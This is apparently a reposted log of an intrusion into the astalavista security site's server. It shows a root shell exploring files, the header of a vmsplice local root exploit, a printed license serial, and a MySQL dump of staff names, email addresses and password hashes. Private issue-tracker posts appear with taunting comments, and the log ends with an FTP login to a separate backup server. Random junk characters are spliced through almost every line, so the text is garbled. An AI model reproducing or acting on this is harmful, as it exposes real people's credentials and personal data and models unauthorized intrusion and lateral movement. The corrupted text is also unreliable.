. ]0 W; z' @$ T?>; r% x3 X" Q8 H" }" s; O; `# m+ h* t
$ C8 l0 p U! c
sh-3.2# cd ..- B2 y$ h# s K- Z
sh-3.2# cd com
O, ?9 q z; a4 u7 s7 Q$ psh-3.2# ls -la
2 B6 t1 \' U, K) E4 F, r0 L- Ytotal 141208# E) G) s. i; i M/ N
drwx–x–x 10 com com 4096 Apr 28 12:40 .
* g( `1 H( [; N! Cdrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..6 Y+ q! a4 m6 c6 e$ v
drwx—— 2 com com 4096 Jun 4 04:04 backups
. O+ g: R9 S$ F1 Z. N# e8 k: Z; w" B-rw-r–r– 1 root root 2419504 Sep 28 2007 backup.sql
& y$ P$ U# L. E, Q6 m3 \7 r# Q! tdrwxr-xr-x 2 com com 4096 May 12 15:20 backup_system
- [0 G: x0 F: d# g: F. z-rw——- 1 com com 21880 Jun 2 08:07 .bash_history; m& p3 W) `0 c* Z L6 o
-rw-r–r– 1 com com 24 Sep 24 2007 .bash_logout
- Q& o# C% Z) X5 u( {; P+ X-rw-r–r– 1 com com 176 Sep 24 2007 .bash_profile
# @6 n& e Q" ]5 p0 S z8 ~* {-rw-r–r– 1 com com 124 Sep 24 2007 .bashrc) n+ q2 G+ T, F z
drwx–x–x 3 com com 4096 Jan 29 2008 domains
. a. U$ b; e# F1 {5 e$ w$ ]-rw-r–r– 1 com com 16409 Jul 16 2008 FWUser.class.php.fixed6 S: P. u) {/ I) V
drwxrwx— 3 com mail 4096 Jan 6 19:24 imap
* O. ~8 q }$ F& J* N-rw——- 1 com com 69 Nov 18 2008 .lesshst
2 i* H, |+ P7 p0 L: u. {& Idrwx—— 2 com com 4096 Sep 24 2007 mail
0 s! p9 d4 n1 S6 p6 r8 g4 X. M; w8 K& n-rw——- 1 com com 13970 Mar 28 21:42 .mysql_history( i: y* c7 _) k) ~- J: B5 h3 r2 \
drwxr-xr-x 2 com com 4096 Aug 20 2008 .ncftp
: l7 c) Y$ o% t7 X$ _7 R3 Y- Y4 ]lrwxrwxrwx 1 com com 37 Sep 24 2007 public_html -> ./domains/astalavista.com/public_html) Z* Z$ c3 z3 Q2 f* q
-rw-r—– 1 com mail 34 Sep 24 2007 .shadow. u0 }$ w- V& B( ] p$ o
drwx—— 2 com com 4096 Aug 26 2008 .ssh: h; s4 S2 d5 O- K% k s2 n
-rwx—— 1 com com 8515 Feb 10 2008 t
' d8 d+ j3 G* a' y0 j! J6 I-rw-rw-r– 1 com com 6265 Feb 11 2008 t.c" m3 \$ g4 Z# i6 s3 i
drwxrwxr-x 2 com com 4096 Jan 30 15:47 tmp
; }- j: X. {6 P6 @' |6 q9 E) c-rw-rw-r– 1 com com 617 May 20 2008 .toprc
) A; F! e" k, m; M, o- l7 d-rw-rw-r– 1 com com 141851766 May 19 2008 version2-backup-20080519-0900.sql5 i* {4 ^- v! X
-rw——- 1 com com 16629 Mar 28 21:46 .viminfo
: A* K' j9 {; l# a- O-rw-rw-r– 1 com com 51 Aug 25 2008 .vimrc
4 N; ?9 K0 R; [$ B" Y9 X/ T( W% {" s& Y2 O
sh-3.2# head t.c8 r8 a6 `! U/ }6 s6 s
/*
3 Z3 m: }% x3 @4 [4 B) J( x* jessica_biel_naked_in_my_bed.c& H. m9 R# Y/ _. g4 o y
*
& R/ N' u' s1 y* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
+ L) z9 d3 h- E H* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* X' s2 S, s* A* Stejnak je to stare jak cyp a aj jakesyk rozbite.
# S9 b; l# a, ^ y, f*
% ^! E* B7 u/ P. q1 G* Linux vmsplice Local Root Exploit/ E2 t3 ^9 O- G- {$ i+ i! N
* By qaaz' R1 F3 \0 W, j; u! F
*
* ?1 U+ v( C& k1 J
& w% H% s/ `8 }0 Q2 X1 N3 fsh-3.2# cd /: ?7 l9 i/ i: q- p
sh-3.2# ls -la: ^: s m2 R8 O4 E7 B" B
total 360
, i0 A, {- {! O) k+ j* Edrwxr-xr-x 25 root root 4096 Jun 3 02:43 .' Y3 N9 G" Y4 |3 ]
drwxr-xr-x 25 root root 4096 Jun 3 02:43 ..7 X1 t. P( d3 {, D% t; B
-rw——- 1 root root 10240 Jun 3 02:39 aquota.group9 d- w C% O- Z4 d$ C# ^! G
-rw——- 1 root root 10240 Jun 3 02:39 aquota.user& q: n! F; H% d( _1 x1 L
-rw-r—– 1 root root 819 Jul 17 2008 astalavista.us.db
% D: j( u. l# N$ E2 Y-rw-r–r– 1 root root 0 Jun 3 02:43 .autofsck
" {: P. _( N; ]3 x- l' b# x-rw-r–r– 1 root root 0 Sep 16 2007 .autorelabel
# F' P( H$ l& ^6 K2 Pdrwxr-xr-x 3 root root 4096 Dec 29 2007 backup
* V; z8 n1 \" ^1 pdrwxr-xr-x 2 root root 4096 Jun 4 04:03 bin
- D: |3 h' S- O5 U9 N6 Xdrwxr-xr-x 5 root root 4096 Jun 2 14:06 boot+ K* r9 d- F! |
drwxr-xr-x 11 root root 3620 Jun 3 02:43 dev
1 f9 ` J3 h0 _! G2 N" _0 o' a" vdrwxr-xr-x 84 root root 12288 Jun 4 03:16 etc
5 r+ P/ v# l u4 sdrwxr-xr-x 14 root root 4096 Mar 11 17:56 home
, j$ z0 c" x& D7 x1 B/ \-rw-r–r– 1 root root 13387 Mar 20 2008 httpd.conf0 [' O& c0 p( u0 y# U$ b
drwxr-xr-x 11 root root 4096 Jun 4 04:02 lib
% O: b. V3 d8 U( U# n8 U: l1 `# Ndrwxr-xr-x 7 root root 4096 Jun 4 04:03 lib64
5 k5 ~' _- |( \4 o6 |. n6 [. y' zdrwx—— 2 root root 16384 Sep 11 2007 lost+found n1 c) e; N8 c( t
drwxr-xr-x 2 root root 4096 Mar 11 17:56 media3 F l: J# d& q( H
drwxr-xr-x 2 root root 0 Jun 3 02:43 misc: k- U3 q+ y8 P0 Z1 ]
drwxr-xr-x 2 root root 4096 Mar 11 17:56 mnt9 u! Z# i2 W6 j
-rw-r–r– 1 root root 5859 Feb 3 2008 mrtg.cfg
0 o: a! n2 K4 D& y, Q% I. y* Cdrwxr-xr-x 2 root root 0 Jun 3 02:43 net
# a1 G1 e: k) X) {drwxr-xr-x 3 root root 4096 Mar 11 17:56 opt
) U/ Y% i7 N$ `5 d) Edr-xr-xr-x 264 root root 0 Jun 3 02:42 proc7 [% G r6 Z" G) m$ A
drwxr-x— 15 root root 4096 Jun 4 08:40 root
% `! E! K$ b& ]5 n$ a5 @% Mdrwxr-xr-x 2 root root 12288 Jun 4 04:03 sbin; B" O+ R! ?( O* q' u
drwxr-xr-x 2 root root 4096 Mar 11 17:56 selinux4 ]' P7 ?: C$ x! S: O8 B
drwxr-xr-x 2 root root 4096 Mar 11 17:56 srv# D% d2 Y# F4 E7 y) ]& n+ J. |2 K
drwxr-xr-x 11 root root 0 Jun 3 02:42 sys
3 o+ K' o' Q" U) E/ \& Odrwxrwxrwt 4 root root 122880 Jun 4 10:35 tmp) T, R( N2 B* S1 w" o
drwxr-xr-x 16 root root 4096 Jun 2 13:56 usr6 m: V% W5 o W+ a
drwxr-xr-x 26 root root 4096 Jun 4 03:16 var
; }% U4 ]2 m% r: R9 w$ Q
9 j E4 X9 p1 T# E! H. csh-3.2# cd opt6 n, N; Z9 O2 E
sh-3.2# ls -la
4 o- F' s) p7 X% O) etotal 20
' r) `: H' M7 Q' H1 e, Idrwxr-xr-x 3 root root 4096 Mar 11 17:56 .
4 `8 @: M) G2 e( J3 C, Mdrwxr-xr-x 25 root root 4096 Jun 3 02:43 ..# M3 T, q+ v: j3 q/ T: [4 z& {
drwxr-xr-x 15 root root 4096 Mar 20 2008 lsws
2 \6 \% m/ H- J$ I& H5 j
# Z& E1 P) N" s3 b- t- Y& A' C+ qsh-3.2# cd lsws/
$ E; V) ^4 G2 p2 L. _. ~0 Bsh-3.2# ls -la
1 z8 V Z! d' T; ztotal 108
! \$ m5 X6 B* y( E; h/ ndrwxr-xr-x 15 root root 4096 Mar 20 2008 ./ B( o$ U# ]$ p! @& k. ?3 n: |9 d
drwxr-xr-x 3 root root 4096 Mar 11 17:56 ..3 r F% J) x" S* b6 k' V
drwxr-xr-x 8 root root 4096 Mar 20 2008 add-ons
( X0 G$ F+ _3 @" p) mdrwxr-xr-x 13 root root 4096 May 29 15:10 admin) ^2 U- c& |3 ~$ w1 n
drwxr-xr-x 5 apache apache 4096 May 29 15:10 autoupdate; k; i4 _/ R$ ^/ t7 u$ y( m3 N5 P
drwxr-xr-x 2 root root 4096 May 29 15:10 bin% t2 _% N- E' O
drwx—— 4 apache apache 4096 Jun 3 02:43 conf0 C; x! a" j$ m1 a9 S
drwxr-xr-x 7 apache apache 4096 Mar 20 2008 DEFAULT/ e/ r+ Z V( S0 [6 R e
drwxr-xr-x 2 root root 4096 Sep 15 2008 docs
% s( N [* ^- K# P+ |$ u# [6 |drwxr-xr-x 2 root root 4096 May 29 15:10 fcgi-bin
+ L& S6 G- c3 d* E( m9 D! Tdrwxr-xr-x 2 root root 4096 Sep 15 2008 lib- _' k& Q! j0 `! ]% `3 i, f
-rw-r–r– 1 root root 6959 May 29 15:10 LICENSE" p+ ]2 ~$ {- r
-rw-r–r– 1 root root 2214 May 29 15:10 LICENSE.OpenLDAP8 @4 ?5 s- B0 K; m7 n
-rw-r–r– 1 root root 6279 May 29 15:10 LICENSE.OpenSSL; Q2 n- G4 t6 l5 I; M' Q2 F
-rw-r–r– 1 root root 3208 May 29 15:10 LICENSE.PHP7 h1 M$ l! ]% O
drwxr-xr-x 2 root root 20480 Jun 4 09:55 logs6 U8 B |' [ g1 [+ a1 M+ ^8 [, y; |
drwxr-xr-x 2 root root 4096 Mar 20 2008 php3 e6 L v/ x( c& @+ c+ P9 F
drwx—— 2 apache apache 4096 Mar 20 2008 phpbuild% W* G2 S& ~3 E1 _" a7 J
drwxr-xr-x 3 root root 4096 Mar 20 2008 share' J5 }3 f8 c2 {) }% l
-rw-r–r– 1 root root 6 May 29 15:10 VERSION( h, I8 k. ~8 ]/ r$ f( J: B s
* \. s/ g3 U8 v4 e/ N3 v. Msh-3.2# cd conf
/ ]- l" X1 l1 H, a& `# S) }sh-3.2# ls -la
; q" ?) D) S# G2 a- f: F1 ototal 48
. ~" J! ^9 d) i3 l( _/ ydrwx—— 4 apache apache 4096 Jun 3 02:43 .1 n' p# |; X+ _! x; s- r4 w
drwxr-xr-x 15 root root 4096 Mar 20 2008 ..# }1 c2 x, F4 \7 X$ A' l
drwx—— 2 apache apache 4096 Mar 20 2008 cert% Q6 [2 W$ P, K# G! k Q
-rw-r–r– 1 apache apache 6668 May 29 15:13 httpd_config.xml! A! g3 ~/ U3 Z$ I
-rw——- 1 apache apache 6613 May 27 18:33 httpd_config.xml.bak
, U$ i( O7 s' p$ l: B" {( o-rw-r–r– 1 root apache 0 Jun 3 14:11 .last
5 ^- {% R2 e3 x6 |2 @: a; B6 r-rw——- 1 apache apache 256 May 29 15:10 license.key8 z$ g: O$ z! b* F& s( f
-rw——- 1 apache apache 256 Mar 21 2008 license.key.old
3 r8 x' M7 Q) e0 b$ ]9 \& D# g-rw——- 1 apache apache 3320 Mar 20 2008 mime.properties
1 M) D- c$ ^% E4 V4 X1 W-rw——- 1 apache apache 20 May 29 15:10 serial.no# @" R; J/ o/ x4 u* G# P
drwx—— 2 apache apache 4096 Mar 20 2008 templates
: h) z( j$ Y0 \ q
; P. r6 T$ s& ~0 ]' Qsh-3.2# cat serial.no5 ?7 i3 W( Z6 \% m' k
IbDl-oVsO-CKqL-wVRa5 @" r- d+ @1 I M N) g
# j! L N2 J- l" m. Ssh-3.2# mysql1 d8 C; a' R; @& v4 q y7 A" d
Welcome to the MySQL monitor. Commands end with ; or \g.( c4 Y$ F6 c8 G n
Your MySQL connection id is 286844. A- x; z6 J3 Q" Y4 ^" z
Server version: 5.0.45-community-log MySQL Community Edition (GPL)1 P% S) w* `( }+ B
: l9 Q* {8 o& o& w( X7 P
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.) Y5 E% I+ Y) `' M+ L2 S: e& p
P( G) X; G$ r0 Y; Qmysql> show databases;
1 q. k- _- S u; ^3 f0 @) n# D4 G4 s+———————–+
# c' L( N* V2 P$ C7 M1 O| Database |% F1 z8 S7 u5 |' v- e) G( ?, R% ^# h
+———————–+) V3 J6 g9 u* S9 D$ x" G
| information_schema |9 ?$ y2 M- I. f. p! ~3 |8 f
| astanet_ads |
- I. I) K. b. a; d1 U$ d| astanet_mailing_lists |/ I3 m }; H5 p3 ~ k$ F
| astanet_mediawiki |
0 C+ p1 I- i; m| astanet_membersystem |6 K, J7 b; p) Q1 \
| com_contrexx |$ h2 I6 l# t1 c$ X% E
| com_contrexx2 |% d( s4 O) c7 D+ a
| com_contrexx2_live |
2 q' c# o. x! p; U8 ~& h9 z% T: K| da_roundcube |+ S) a3 q, c' r! I- n( o: X
| dolphin |8 L" m$ s: ^2 e5 o; w2 ~) u& h
| ideapool |% Y+ t8 ^; T$ n8 u5 |
| mysql | Z$ y) w" K$ ^
| test |6 c/ t& h: Q2 q. {7 D( H- _' o
| yourmaster |9 ^2 D: F2 {. E6 `! {( t2 w
+———————–+; G% |, v, |' B+ b
14 rows in set (0.00 sec): o( c1 {/ N; K4 @$ Q9 K
8 n+ F& P! M1 M2 J' V% tmysql> use ideapool' {) Q: Z9 `! ^& q
Database changed/ n* F+ Q" w1 `4 V" P2 Q! C
mysql> show tables;0 O% _2 ^( V5 _# _( S
+———————————–+, _* M' p8 p9 I p
| Tables_in_ideapool |
; {3 W0 c2 b) H0 l3 Z8 ]+———————————–+
4 e; o' X4 G' B| eventum_columns_to_display |4 G; k3 f& _& a% i9 h1 O
| eventum_custom_field |
0 E* d# b9 C! W' Q| eventum_custom_field_option |+ `- f+ y0 Q- J9 V; d* N6 u
| eventum_custom_filter |
: L% c. X1 b# d' N8 H9 O| eventum_customer_account_manager |
3 K4 m# Q6 A# s a| eventum_customer_note |
2 I' T0 k: ~' i| eventum_email_account |
- O9 r8 L$ O3 m8 v( E| eventum_email_draft | Z5 H+ n( j4 X8 y/ p
| eventum_email_draft_recipient |' q( h8 U9 W2 N# _( n
| eventum_email_response |
( A) y6 X, P- Y2 D$ D/ b| eventum_faq |! I- Z' l: }% @* e
| eventum_faq_support_level |
$ i, B' W" J" V$ ]| eventum_group |
. R- n( J- m; \* \| eventum_history_type |
: q4 _, Z% u1 B7 `# e| eventum_irc_notice |8 s2 t) q, ~4 l
| eventum_issue |
% A5 ]! N2 _( s2 Y8 ~* J| eventum_issue_association |* ^) Z) `. G+ {/ o$ k% t% g
| eventum_issue_attachment |
; W1 P; b0 L+ W% t8 f| eventum_issue_attachment_file |. ^, _8 L/ o5 W k* I# s, D; |
| eventum_issue_checkin |
+ t) }: q3 C+ |' R% l6 g3 X K| eventum_issue_custom_field |( S+ a/ p) P- c8 ^
| eventum_issue_history |
]8 ?% _: g0 m# B$ w| eventum_issue_quarantine |7 _: i3 Q$ Q* a: _1 H! z0 c' }4 o
| eventum_issue_requirement |9 j, Q. a" `* c# @
| eventum_issue_user |, y+ T/ t; D, H3 G
| eventum_issue_user_replier |
4 V0 M1 e# d! @4 L% { @& _" J| eventum_link_filter |3 Y$ _6 t7 i7 J" t8 z8 q
| eventum_mail_queue |
K, R& m- U/ d: Z! V| eventum_mail_queue_log |
& {0 G) F% S# {& G: c| eventum_news |4 C; g) n& } Z3 R) N
| eventum_note |
6 J( f2 _! n5 G, C/ i3 L8 n5 d9 _6 X| eventum_phone_support |6 @2 ~* R6 I( q
| eventum_project |
' p; |0 [ W2 [8 w# O| eventum_project_category |
, F2 ^' O, m0 F/ K4 Q* p3 H| eventum_project_custom_field |5 Z7 g) y- R2 z4 `9 T
| eventum_project_email_response |
o' r5 O) ^; k/ E| eventum_project_field_display |8 E6 E) I& c2 t, M' q$ t
| eventum_project_group |
# F# V \/ a! c+ }/ ]6 V+ i| eventum_project_link_filter |
) ?% U$ R! h# E3 t j5 C- S4 ?| eventum_project_news |* P% s9 w& j" J* |) O. ?8 r
| eventum_project_phone_category |& f2 v: i3 c1 P
| eventum_project_priority |" ^6 @" `+ g8 s7 i6 y( u$ E
| eventum_project_release |% q4 D: Q7 w3 V: G' _6 x
| eventum_project_round_robin |
1 j/ D% F( b! I# ~* O| eventum_project_status |
# I9 }5 L: q3 r) E| eventum_project_status_date | k4 }8 V% N* q/ P
| eventum_project_user |
9 V! Y% h C2 L' E4 ^; f* W| eventum_reminder_action |" C, ^5 J$ E) f7 h! o' |) ~) D
| eventum_reminder_action_list |
4 |, O: e! k& _, F$ \| eventum_reminder_action_type |5 b' |1 b; g1 D7 @ ^
| eventum_reminder_field |2 e7 G8 O- w4 {# S
| eventum_reminder_history |& h3 r! R/ f- P" Z' }- n
| eventum_reminder_level |
@4 E( n& i5 A. d8 C7 R/ ?| eventum_reminder_level_condition |, j \0 h0 |9 _1 ]3 Q
| eventum_reminder_operator |
8 A- G& P# y( p. i e9 p4 z, Z| eventum_reminder_priority |+ C8 @* a; l4 b& d+ l( t; G
| eventum_reminder_requirement |
7 C1 D% k: w y7 u7 p( D| eventum_reminder_triggered_action |% F! E& @5 R* ^+ T. K
| eventum_resolution |" ?0 z, W9 e9 ~# h8 m! Q
| eventum_round_robin_user |( E' l( Q. ?' ]. B& I8 E
| eventum_search_profile |
% X% d* K8 N$ Y, i# {$ \' ~1 s| eventum_status |8 o4 E' ]$ e; e
| eventum_subscription |" N7 [& N, W. Q* E/ m3 j
| eventum_subscription_type |6 l8 n7 z# \$ F* u2 J
| eventum_support_email |
* p9 w3 R/ U/ T/ ^| eventum_support_email_body |
% M& T- }+ O& u3 P- l+ I| eventum_time_tracking |) ]" \8 t- t; r
| eventum_time_tracking_category |, R& }- i# q) F9 G$ f
| eventum_user | J$ g$ b/ V! N# d2 Q, E
+———————————–+5 [% F8 l! U1 X
69 rows in set (0.00 sec)% p8 V- O5 C9 T T' s& W1 H9 b
7 U# T- P$ V) Q5 N$ @9 z. F* `0 Smysql> describe eventum_user;
1 U7 n9 u$ G2 E0 h/ C+————————-+——————+——+—–+———————+—————-+
; x6 T) N! X Y1 p4 c0 j| Field | Type | Null | Key | Default | Extra |# I& Z \2 M, C$ }1 I! T1 O# e
+————————-+——————+——+—–+———————+—————-+: k- h0 O% x3 A/ v) K/ F" r
| usr_id | int(11) unsigned | NO | PRI | NULL | auto_increment |: J6 P/ h' `: s$ r5 d. D
| usr_grp_id | int(11) unsigned | YES | MUL | NULL | |
! f5 G! [. X0 J) ]6 r4 o| usr_customer_id | int(11) unsigned | YES | | NULL | |
2 Z% s N4 T7 [) F| usr_customer_contact_id | int(11) unsigned | YES | | NULL | |
$ ]% D) I- L+ `7 b| usr_created_date | datetime | NO | | 0000-00-00 00:00:00 | |* C% _1 t' B9 E; ]$ y
| usr_status | varchar(8) | NO | | active | |* O" `4 ^; m0 b C6 ~
| usr_password | varchar(32) | NO | | | |
+ m+ Y8 _ d+ ^+ a3 t| usr_full_name | varchar(255) | NO | | | |( W9 e ~$ h9 h' m: Q# `
| usr_email | varchar(255) | NO | UNI | | |
0 P. R1 ~ r1 J8 M2 J# ]| usr_preferences | longtext | YES | | NULL | |' z- A; Q3 L: ^' U
| usr_sms_email | varchar(255) | YES | | NULL | |" F x; r' ?3 F
| usr_clocked_in | tinyint(1) | YES | | 0 | |- I2 v( ?5 ~0 m% d9 a. J4 ?+ u
| usr_lang | varchar(5) | YES | | NULL | |
! o; N3 D8 N+ e0 P E+————————-+——————+——+—–+———————+—————-+
& s) s# B; r$ V) `" t* k13 rows in set (0.00 sec)8 j y) P9 y, j+ O& B. j4 N
4 a1 I( p! S. F
mysql> select usr_full_name,usr_email,usr_password from eventum_user;- E! d" E' ~% J) P2 X8 {0 V( |
+———————-+——————————-+———————————-+7 K. s2 W- ~) [( x5 E% @
| usr_full_name | usr_email | usr_password |# O2 _$ `1 M/ R4 b1 f6 t
+———————-+——————————-+———————————-+, Q3 N& _, l I, o8 Z& M6 R
| system | 链接标记system-account@example.com | 14589714398751513457adf349173434 |
: d- X- P: k0 L/ K* x; Z| Developer (Paulo) | 链接标记paulo.santos@astalavista.ch | 26a35a1cf8895c27fb37ef4cf149f7bb |
" \$ j% W" `& X3 D9 V5 X4 L| Be1er0ph0r | 链接标记be1er0ph0r@gmx.de | 229766dc0ca1fb67160a8782321dfdce |
2 G$ M/ ]. y" l! Y2 S7 I; D| Admin | 链接标记pascal.mittner@astalavista.ch | 57c2877c1d84c4b49f3289657deca65c |
) {2 p( [) G# |8 _5 M| ADMIN | 链接标记admin@astalavista.ch | f6fdffe48c908deb0f4c3bd36c032e72 |: @- x* G- J, k1 I( m% H
| USER | 链接标记user@astalavista.ch | 5cc32e366c87c4cb49e4309b75f57d64 |
, }8 t" _! R3 r3 {" w| Glafkos - (nowayout) | 链接标记glafkos@astalavista.com | f7735ab119023a8abb2301e67f81cd67 |
' O+ l1 k/ \! c/ n| Joao | 链接标记joao.pontes@astalavista.net | f805c071d7c823b937448c54c047b9fd |, c& c7 t. \3 ~' }
| Pascal | 链接标记pm@astalavista.ch | e10adc3949ba59abbe56e057f20f883e |
% c7 W/ R8 N5 J; @1 j| commander | 链接标记commander@astalavista.com | 932cd250918f881d41feb0b93883a926 |
1 ]" x: i0 g5 R5 w9 V| ishtus | 链接标记ishtus@astalavista.com | a587ffc88b3dbbba3fd2fe67af649ff0 |
' i1 D9 b) c) @, @! r1 {5 K4 M# V4 J9 S| sykadul | 链接标记sykadul@astalavista.com | 20224a2f3eeb57a13a10b4df543c128e |
4 S2 l# D2 f9 f) K' T" H+ [ a3 X| Zach McElroy | 链接标记admin@badfoo.net | 33c5d4954da881814420f3ba39772644 |( i6 j8 }% Y/ x" S; ]1 W1 [1 e
| usb | 链接标记usbenigma@hushmail.com | b513f22c3db6932855ad732f5f8a10a2 |
! _, x( W0 `+ q' L/ A5 T0 P| cyph3r | 链接标记cyph3r@astalavista.com | 6e1e50017a945e874d52ec91f9ab2cee |& l8 e; P( a V8 W
+———————-+——————————-+———————————-+
$ {+ Y$ c7 G# Z# ?15 rows in set (0.00 sec)7 Z1 h5 j' B5 t8 `5 z4 N8 G
) B: b) @8 _- R9 ~, Cmysql> select iss_description from eventum_issue where iss_id = 43;
5 H! G& c: D7 A, B& m/ x# {+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+3 T2 d& J1 k# R6 y( Q3 w
| iss_description
' g8 z# v8 A7 x5 X, ^4 _|
- D3 G& w1 l6 G6 R' q+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
& F- T; R; m& { w5 v; R" U| Ok guys, to boost our traffic and revenue what we have to do is keep users logged in… how to do that? well think about it… if a user is watching a movie… he’ll be, m3 P f2 q N% o3 w2 l2 J; Z
connected for 90 mins… 120mins… so what i propose is something like:
$ e2 I$ |# t3 V4 F$ {链接标记[url]http://www.surfthechannel.com/[/url]( W! P) ^1 f0 w3 i: C2 E$ i/ `) n
since they only provide LINKS to the movies they are LEGAL and don’t break DMCA rules… so we could do the same… “iframe” the content on our website or use a system
% O& x4 ?# [2 \! |* A8 m7 K: ]like podcast that uses our own flash player to stream content from other places, therefore the content NOT BEING HOSTED ON OUR SERVERS but only viewed… which doesn’t8 I- o7 R. \: q" P6 q' R" [3 n4 Y
break any laws as far as i am aware (we should research on that just to be sure though!) Of course we would have to provide users with the button to take the content off
- Z f, }& }8 T; I" tif they think it breaks copyright laws and we will remove it… i think that makes it on the border of DMCA…( @3 t4 @! h9 U+ K
* k7 f% K! g! _% U! g# |We could also put advertisement during play on the flash video player itself… extra $$…2 O P6 Y4 i8 [$ O$ @
+ N0 {( f1 |# |
By sykadul |
9 c% Y! V$ c! Z/ o3 S) P5 D+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————-+
" o/ P! z3 ~, V* g" F1 row in set (0.00 sec)
6 t+ q! j/ @- \ r! S8 e6 G. ?2 V+ N1 l" p
// Money and extra $$ is all they care about. remember that., s0 ]# u# t9 S0 m/ w1 h
/ o' T" c- [: W# ?
mysql> select iss_summary,iss_description from eventum_issue where iss_id =42;* B; t. P' j4 m: i2 n- ~& Q+ s
+————————+——————————————————————————————————————————————————————————————————————————————-+) J* ?2 h8 W. c) b' t+ f
| iss_summary | iss_description 2 D1 P+ U- I) |7 R2 w, i
|
& m$ C4 r4 c' v0 B( Q' z* M9 f+————————+——————————————————————————————————————————————————————————————————————————————-+
! [# `2 m T5 E| Forum for REAL EXPERTS | Hello,
H8 N8 j0 v0 V3 S8 L7 U: h7 i& f8 D% n
- j, P" H, p6 _$ m* [* eIshtus and I,- P, ^2 ?( B9 x, \+ `( a3 O( T$ z
' A3 t9 }( Z6 m
Came up with a crazy and very workable and professional idea. We create an invitation only forum with the BEST security experts worldwide
( j! `7 j2 c3 w! ^% h4 ]; |ONLY. Security Experts from Bugtraq lists, exploit writters, reverse engineers etc..6 Q/ d8 R" g, p- }
5 O$ m% u+ K# v( z$ {One example a friend of mine from coresecurity.com!
% E8 t* d3 }. `
, \& H. V1 V6 w3 jWe could have big projects etc.. and we can work all together to bring to the security community exploits, open source software etc..
K3 e( u: Y0 X4 |! x7 x$ R% ~0 x$ u
|
( D: j% F' k' h3 B+————————+——————————————————————————————————————————————————————————————————————————————+
. v* x1 z. J C' t1 row in set (0.00 sec), Z) G0 [- }* d5 g7 j5 |% P2 {
4 k+ s7 K) V/ g5 n B5 B// What an awesome yet original idea Ishtus and him… bring MORE security “experts”, thats exactly what the world needs…
3 k. U$ A9 l# \' ]) N y- s
9 q" v; d6 ~5 i. V5 T8 @mysql> select iss_summary,iss_description from eventum_issue where iss_id = 16;5 I5 q! Z/ r, z* I, o$ n3 G" R
+——————+———————————————————————————————+# H& `, n* f2 @ T7 D/ w' h# {
| iss_summary | iss_description |% n9 l7 @2 b; N* y$ P; B* o
+——————+———————————————————————————————+5 k/ d- A: k' z- l! C
| Website guidance | Virtual Girl which guides you trought the website.( w3 u, t+ i; j( p, e
7 A! x4 y. x& i
We need a girl with who you can ( talk )!!!, R( d6 t7 x+ {9 y- z
Also for the News!4 R2 |8 T% g& v$ h" Z
So my suggestion is a girl who read you the news loud if you like!/ X+ J+ w Y6 [, b, t& F
you can choose between read yourselfe or she read it for you or both!! p5 Q4 E3 B1 J0 r! E
, Q* y. ?; T: Q- e1 }
Go to 链接标记[url]www.heise.de[/url]! There is an example for Voice News! It’s a good thing!!!
) l; `% k4 ]" \' @/ l9 T8 \4 ?7 V, O( p4 r6 n
Have a look on the example girls!!% E- A8 Y& H/ w: F4 a: e6 k8 e5 |" z
+ C+ Q3 s, x) E8 c链接标记[url]http://www.yaoti.com/de/free_yaoti.html[/url]
+ ~- D+ n! _* l0 |' p5 \4 A# e5 o- {' O- Y9 D# ]9 U
or that( J0 l/ S3 O) D
D0 e+ \4 h6 L- a' S7 q
链接标记[url]http://www.yellostrom.de/[/url]
, C2 r4 ^0 I7 d7 T1 q
0 S+ C' }4 l7 m$ s2 F; a! t. \|
' E) A# {4 v, ?4 W% Z+——————+———————————————————————————————+$ d& ^) [1 c7 y) J. j
1 row in set (0.00 sec)0 {& n( i+ m, Z4 M S6 N
& E' @" ` K7 U. T6 }* u// ha ha.1 f3 r2 p7 k2 x. s+ C
r9 b o+ H1 Y3 L( _9 Z3 umysql> select iss_summary,iss_description from eventum_issue where iss_id = 7;6 [; I7 }1 O% x3 I) {; E
+————————–+———————————————————————————————————–+
( U' ~0 _. X+ k4 X; Q| iss_summary | iss_description |! P5 U1 B8 @. B
+————————–+———————————————————————————————————–+! x. a$ X& d* R3 Q
| Exploit Development Team | We need an exploit development team to focus on exploit research and publication under Astalavista name. |3 a. ^" \+ i3 P" g' \. `
+————————–+———————————————————————————————————–+. ? C1 E; |6 y, S. H$ p4 f
1 row in set (0.00 sec)( d6 F% @: P. g7 p0 Y) k
$ n n9 w( E7 P( v. I, K
// LOL.
4 E* \5 e6 B* a# D# g
; f8 n" }% D/ c* H( M0 o- ymysql> exit
; S3 o. C% b$ Z& K4 I; wBye
4 ^2 A, U" A% l# Y- F' ]7 F+ i# a/ `+ _1 n
sh-3.2# ftp 212.254.194.163
! y* w1 ^4 Q: y! K* C4 S% NConnected to 212.254.194.163.
+ _4 G$ k3 ~6 `220 BackupCOM_VW FTP server ready.5 \$ h* A% l- ]# H) P7 _" T" H2 T- W
504 AUTH: security mechanism ‘GSSAPI’ not supported.( ?; N) G% L; l
504 AUTH: security mechanism ‘KERBEROS_V4′ not supported. E( G4 I0 i/ u3 F
KERBEROS_V4 rejected as an authentication type
! B" S1 [$ p" \7 W1 EName (212.254.194.163:root): astalavista.com0 ^' Z. {. d+ U% L' M
331 Password required for astalavista.com. X, N; C4 `# E4 F, T) E$ W
Password:
- M0 j; P# L, `230 User astalavista.com logged in.% h# @. T: p) L7 G
Remote system type is UNIX.
& t/ F# v# z( A+ A4 t: `Using binary mode to transfer files.
& M) D6 R1 K+ P: ?ftp> ls -la2 L/ |3 M3 D" s4 |" H. e
227 Entering Passive Mode (212,254,194,163,2,188)
* ?- ]# K: e! p7 {2 A, |150 Opening BINARY mode data connection for ‘file list’.
3 W8 q. v7 w; i8 c( H; }dr-x—— 1 root users 4096 Jun 4 06:13 astalavista.com
7 Y7 _0 _, \) e226 Transfer complete.
7 D1 }2 w5 R/ K. E6 ^' Qftp> cd astalavista.com/ K" j0 l. g$ s5 I3 u( C) S( w
250 CWD command successful.
2 U* D$ K9 k) x1 N2 W2 [ftp> ls -la
